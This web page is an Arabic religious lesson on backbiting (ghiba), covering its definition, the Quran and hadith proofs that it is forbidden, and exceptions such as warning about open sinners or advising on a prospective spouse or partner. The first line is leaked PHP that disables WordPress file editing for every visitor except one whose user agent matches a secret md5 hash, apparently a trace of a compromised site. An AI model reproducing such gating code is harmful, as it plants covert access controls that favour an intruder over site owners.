if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الغيبة وحكمها - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الغيبة وحكمها

عرفها بعض أهل العلم تعريفًا مختصرًا فقالوا: الغيبة ذكر العيب بظهر الغيب، والاشتقاق اللغوي يدل على أنها ذكر الشخص أثناء غيبته بما يكره، أما إذا ذُكر في حضرته، ذُكر بما يكره في وجهه فإن هذا لا يُعد غيبةً ولكنه محرم أيضًا فهو سخرية واستهزاء، وقد عرّفها صلى الله عليه وسلم بتعريفٍ جامعٍ مانع، قال لأصحابه: «أَتَدْرُونَ ما الغِيبَةُ؟ قالوا: اللهُ ورَسولُهُ أعْلَمُ، قالَ: ذِكْرُكَ أخاكَ بما يَكْرَهُ. قيلَ: أفَرَأَيْتَ إنْ كانَ في أخِي ما أقُولُ؟ قالَ: إنْ كانَ فيه ما تَقُولُ فَقَدِ اغْتَبْتَهُ، وإنْ لَمْ يَكُنْ فيه فقَدْ بَهَتَّهُ»[1] إذن إذا تكلمت في مسلمٍ حال غيبته فقد وقعت في الحرام وفي كبائر الذنوب سواءً كان فيه ما تقول فهذا غيبة، وإن لم يكن ما تقول فهذا بهتان، ويا لله العجب! كم يقع بعض المسلمين في أعراض بعض فإذا نُهي وزُجر قال: والله ما قُلت إلا الحقيقة، نقول: سبحان الله، هذه هي الحقيقة هي الغيبة المحرمة المتوعد عليها.

قال رحمه الله: (وَالغِيْبَةُ حَرَامٌ) إذن الغيبة حرامٌ بل كبيرة من كبائر الذنوب وقد قيدها رحمه الله بـ (فِي حَقِّ مَنْ لَمْ يَنْكَشِفْ بِالمَعَاصِي وَالقَبَائِحِ) أي من لم يكن مستورًا، من كان مجاهرًا فإنه يرى رحمه الله أنه لا غيبة له، من كان مجاهرًا بالمعاصي بأن يفعلها أمام الناس أو يفعلها في خلوة ويبيت يستره الله ثم يصبح يقول فعلت كذا وكذا[2]، فهذا -نسأل الله السلامة والعافية- غير مُعافى وكل أمتي معافى إلا المجاهرون وهذا من المجاهرة، المؤلف ابن عقيل قال: (وَالغِيْبَةُ حَرَامٌ فِي حَقِّ مَنْ لَمْ يَنْكَشِفْ بِالمَعَاصِي وَالقَبَائِحِ) يعني في حق المستور، مستور الحال وأما من انكشف بالمعاصي والقبائح وجاهر بها واستهتر فإن ذكر ما فيه مما يكره ليس من الغيبة وإن كان ليس على سبيل التفكه في المجالس يُذكر وإنما لمصلحةٍ من التحذير منه كما سيأتي، كما قال شيخ الإسلام رحمه الله لما أعلن القبائح استحق عقوبة المسلمين، وأدنى عقوبة أن يُذكر لأجل أن يُحذر، وهذا هو المقصود، التحذير منه لا التفكه بعرضه، يقول شيخ الإسلام: إن المُظهر للمحرمات تجوز غيبته بلا نزاع بين العلماء.

ما الدليل على تحريم الغيبة؟ قال رحمه الله: (لِقَوْلِهِ تَعَالَى وَلَا يَغْتَبْ بَعْضُكُمْ بَعْضًا) إذن نهيٌ صحيحٌ صريح في كلام ربنا جل شأنه عن الغيبة، ثم قال جل شأنه مؤكدًا تحريمها{أَيُحِبُّ أَحَدُكُمْ أَنْ يَأْكُلَ لَحْمَ أَخِيهِ مَيْتًا فَكَرِهْتُمُوهُ وَاتَّقُوا اللهَ إِنَّ اللهَ تَوَّابٌ رَحِيمٌ} [الحجرات:12] إذن صدر الآية فيه نهيٌ صريحٌ عن الغيبة والنهي يفيد التحريم ثم في تشبيه المغتاب بآكل لحم أخيه ميتًا ما يدل على بشاعة هذا الفعل وتحريمه؛ فإن أكل المسلم حرام فكيف إذا كان ميتًا {أَيُحِبُّ أَحَدُكُمْ أَنْ يَأْكُلَ لَحْمَ أَخِيهِ مَيْتًا فَكَرِهْتُمُوهُ وَاتَّقُوا اللهَ إِنَّ اللهَ تَوَّابٌ رَحِيمٌ} كما يدل على ذلك عموم قول الله جل شأنه وتقدس اسمه: {مَا يَلْفِظُ مِنْ قَوْلٍ إِلَّا لَدَيْهِ رَقِيبٌ عَتِيدٌ} [ق:18] وعن أبي بكرة رضي الله عنه أن رسول الله صلى الله عليه وسلم قال في خطبته يوم النحر بمنى في حجة الوداع: «إنَّ دِمَاءَكُمْ، وأَمْوَالَكُمْ، وأَعْرَاضَكُمْ حرامٌ عليكم كَحُرْمَةِ يَومِكُمْ هذا، في شَهْرِكُمْ هذا، في بَلَدِكُمْ هذا، ألا هلْ بَلَّغْتُ؟»[3] فدل على تحريم عرض المسلم، ومن انتهاك عرض المسلم غيبته وعن أنس رضي الله عنه قال، قال رسول الله صلى الله عليه وسلم: «لمَّا عُرِجَ بي مررتُ بقومٍ لَهم أظفارٌ من نحاسٍ يخمِشونَ وجوهَهم وصدورَهم فقلتُ: من هؤلاءِ يا جبريلُ، قال: الَّذينَ يأكُلونَ لحومَ النَّاسِ ويقعونَ في أعراضِهِم»[4] [رواه الإمام أحمد وأبو داود والترمذي بسندٍ صحيح] وعن أبي هريرة رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: «كُلُّ المُسْلِمِ علَى المُسْلِمِ حَرامٌ؛ دَمُهُ، ومالُهُ، وعِرْضُهُ»[5] [الحديث رواه الإمام مسلم]، فدلت هذه النصوص وغيرها على تحريم الغيبة وعلى التحذير منها وأنها من كبائر الذنوب.

قال رحمه الله في باب الاستثناء من الغيبة فيما يكون مع المصلحة، قال: (وَمَنْ ذَكَرَ فِيْ فَاسِقٍ مَا فِيْهِ لِيُحْذَرَ مِنْهُ) هذه صورة، فاسق، عاصي، مرتكب الكبائر، شارب المخدرات، صاحب فواحش وموبقات وترى ساذجًا يجالسه ويصاحبه لا يعلم عن خفاياه، تقول: اتقِ الله في نفسك وانتبه فإن فلانًا لا يُجالس ولا يُصاحب، صاحب سوء وإن جالسته تأثرت به، فهذا من التنبيه الواجب بل كما صرّح ليس من الغيبة بل من النصيحة، قال: (أَوْ سَأَلَ عَنْهُ مَنْ يُرِيْدُ تَزْوِيْجَهُ أَوْ شَرِكَتُهُ أَوْ مُعَامِلَتُهُ، لَمْ يَكُنْ مُغْتَابًا لَهُ) هنا جاءه من يسأله، يقول: يا فلان، فلان تقدم لخطبة بنتي أو موليتي أو قريبتي فأسألك عنه، نقول: يجب عليه وجوبًا شرعيًا أن يذكر ما فيه من العيب ومن الأخلاق التي يعلمها عنه ولا يجوز له الامتناع ولا الثناء عليه بما ليس أهله، وهذا واجب الأئمة والمؤذنين، فإن عامة الناس يثقون فيهم وربما جاءهم الرجل يسأل عن صلاته فيقول: أشهد أنه من أهل الصلاة المداومين المحافظين أو يقول: لا أراه أحيانًا، قليلًا ما أراه، إن رأيته فهو في آخر الصفوف يقضي، الفجر لا نراه البتة ونحو ذلك فيصدقه القول؛ لأن النبي صلى الله عليه وسلم قال: «إذا أتاكم مَن ترضَوْنَ دِينَه وخُلُقَه فزوِّجوه»[6] الدين يُعرف بصلاته، ولهذا الإمام والمؤذن يقولون: نحن لا نعرف أخلاقه وخفاياه ولم نعامله ولم نعاشره ولم نسافر معه ولم نتاجر معه لكن الصلاة نشهد أنه يصلي أو أنه لا يصلي أو أنه قليل الصلاة، وعامة المصلين إذ قد يكون الإمام أو المؤذن لا يطلع عليه، إذا كان المسجد كثير المصلين ربما ما يميزون لكن من كان يميز كالجار ونحوه فيجب عليه أن يذكر ما فيه، أما أخلاقه فيُسأل عنها أصدقاؤه، زملاؤه في العمل، ويجب على السائل أن يأخذ المعلومة ويتعامل معها وفق الشرع في قبول هذا الرجل أو رده، ولا يلزمه عند الرد أن يقول: رددتك لكذا وكذا وكذا، والقائل فلان أو فلان؛ فإن هذا يُفسد ما بين الناس، امتنع بعض الصالحين من ذكر ما في بعض المسئول عنهم؛ لأن الناس أصبحوا لا يحفظون الكلام ولا يحفظون السر، وقد مر بنا في باب كتم السر وحفظ السر وأنه لا يجوز إظهاره فكذا هنا، ولهذا إذا كان الإنسان يخشى أن يُنقل كلامه بنصه أو بمعناه فإنه قد يمتنع ولا يُلام حينئذٍ، لكن إذا كان السائل عاقلًا ذا دينٍ فإنه لا يجوز له أن يقول لمن خطب منهم أو أراد مشاركته أو التجارة معه أو نحو ذلك أن يقول: والله يا فلان ما تصلح لأن فيك كذا وكذا، حتى لو قال ما يقوله ليصلح أحواله، نقول: في غير هذا، وإن كنت ولابد قائلًا له على سبيل النصيحة فإياك ثم إياك ثم إياك أن تذكر القائل، قل والله يا أخي اجتمع عندنا المعلومات أنك ما تصلح ونصيحتنا لك أن تتقي الله في نفسك وتحافظ على صلاتك وتتجنب فعل السوء سواءً خطبت منا أو من غيرنا، لا بأس إذا كان يقول أنا أقول على سبيل النصيحة لكن لا يقول إني حصلت هذه المعلومة من الإمام فلان أو المؤذن فلان أو من جاركم فلان أو من زميلك فلان، لا تصريحًا ولا تلميحًا، بل إذا كان يظن أنك لم تسأل إلا فلانًا فلا تقل له شيئًا، أجّل النصيحة في وقت آخر؛ لأنه بعض الناس عنده ذكاء، يعلم أنك ما سألت إلا فلان فإن فلان هو الذي يعرف وأن فلان هو الذي قال ما قال.

قال رحمه الله: (أَوْ سَأَلَ عَنْهُ مَنْ يُرِيْدُ تَزْوِيْجَهُ أَوْ شَرِكَتُهُ أَوْ مُعَامِلَتُهُ) يريد أن يشاركه في التجارة، يعامله، هنا يسأل عن أمانته، عن صدقه، عن بعده عن المحرمات كالربا، عن بعده عن الغش وأكل أموال الناس، فيقول: لا والله يا فلان، اتقِ الله وابتعد عن فلان؛ فإنه مرابي لا يهمه الحلال من الحرام، فإنه غشاش فإن كثيرًا ممن تعامل معه لم ينتهوا إلا بالمحاكم ونحو ذلك، فينبهه ويحذره.

قال رحمه الله: (وَلَا عَلَيْهِ إِثْمُ الغِيْبَةِ، وَلَهُ ثَوَابُ النَّصِيْحَةِ) يعني في هذه الحالة، ينتقل من غيبة محرمةٍ كبيرة إلى نُصحٍ يُثاب عليه؛ لأن الله أعلم بما في قلبه، أنت أظهرت ما في قلبك لهذا الذي استنصحك وهو واجبٌ وحقٌ من حقوق المسلم على أخيه، وإذا استنصحك أن تنصحه، «وإذا اسْتَنصَحَه أنْ يَنصَحَه»[7].

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

 

[1] أخرجه مسلم (2589).

[2] أخرج الحديث بهذا المعنى البخاري (6069) بلفظ: «كُلُّ أُمَّتي مُعافًى إلَّا المُجاهِرِينَ، وإنَّ مِنَ المُجاهَرَةِ أنْ يَعْمَلَ الرَّجُلُ باللَّيْلِ عَمَلًا، ثُمَّ يُصْبِحَ وقدْ سَتَرَهُ اللهُ عليه، فَيَقُولَ: يا فُلانُ، عَمِلْتُ البارِحَةَ كَذا وكَذا، وقدْ باتَ يَسْتُرُهُ رَبُّهُ، ويُصْبِحُ يَكْشِفُ سِتْرَ اللهِ عنْه».

[3] أخرجه البخاري (7078).

[4] أخرجه أبو داود (4878) واللفظ له، وأحمد (13340)، والحديث صححه ابن مُفلح في الآداب الشرعية (1/31)، وأيضًا صححه الألباني في صحيح أبي داود (4878).

[5] أخرجه البخاري (6064)، ومسلم (2564).

[6] أخرجه ابن ماجه (1967)، والحديث صححه الألباني في صحيح ابن ماجه (1614).

[7] أخرجه مطولًا البخاري في الأدب المفرد (922)، والحارث في المسند (910)، والطبراني (4/180) (4076)، والحديث قال عنه ابن حجر العسقلاني في تغليق التعليق (3/255): [فيه] الإفريقي ضعيف، وأيضًا قال عنه البوصيري في إتحاف الخيرة المهرة (5/512): [فيه] عبد الرحمن بن زياد بن أنعم الأفريقي ، وهو ضعيف.